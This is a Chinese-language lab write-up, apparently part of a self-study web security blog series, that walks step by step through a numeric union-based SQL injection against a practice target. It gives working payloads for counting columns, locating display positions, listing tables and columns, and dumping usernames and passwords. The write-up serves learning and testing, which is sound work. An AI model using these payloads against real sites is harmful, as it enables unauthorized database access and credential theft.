一.前置知识
必备知识:SQL注入基础01
自学web安全day07--SQL注入--(基础01)判断注入类型 - 掘金 (juejin.cn)
自学web安全day07--SQL注入--(基础02)获取数据库信息 - 掘金 (juejin.cn)
二.打靶过程
1.判断是否存在SQL注入漏洞
进入靶场
在URL中输入以下试验点
?id=1,满足SQL注入的两个关键点
1.用户对输入的内容可控
2.Web应用会把用户提交的数据带到数据库中去执行
2.判断SQL注入类型
试验点1:?id=1 and 1=1
试验点2:?id=1 and 1=2
试验点3:?id=1asd
综上所述,该注入点类型为数字型注入(无闭合方式,因此无需注释)
3.判断列数
试验点1:?id=1 order by 5
试验点2:?id=1 order by 3
说明显示的地方有3列,3个字段
4.获得回显位
先输入:?id=1 union select 1,2,3(因为有3个字段,所以select 3个数字)
说明只显示一条信息(因为id=1为真,只显示了前面的结果,后面union的结果不被显示)
再输入:?id=-1 union select 1,2,3
说明回显位置在2,3
5.获得数据库信息
1.获取数据库名
2,3位置分别写入:database()和version()
说明数据库名为security
2.获取数据库表名
试验点1:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'
说明该security数据库有emails,referers,uagents,users这四个表
3.获取数据库列名
试验点1:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'
可见这里的所有字段
4.获取用户名和密码
试验点1:?id=-1 union select 1,group_concat(concat_ws('|',username,password)),group_concat(id separator '|') from users
concat_ws可以指明合并的字符串之间的分隔符,但是用多行显示
group_concat可以指明合并的字符串之间的分隔符,但使用一行显示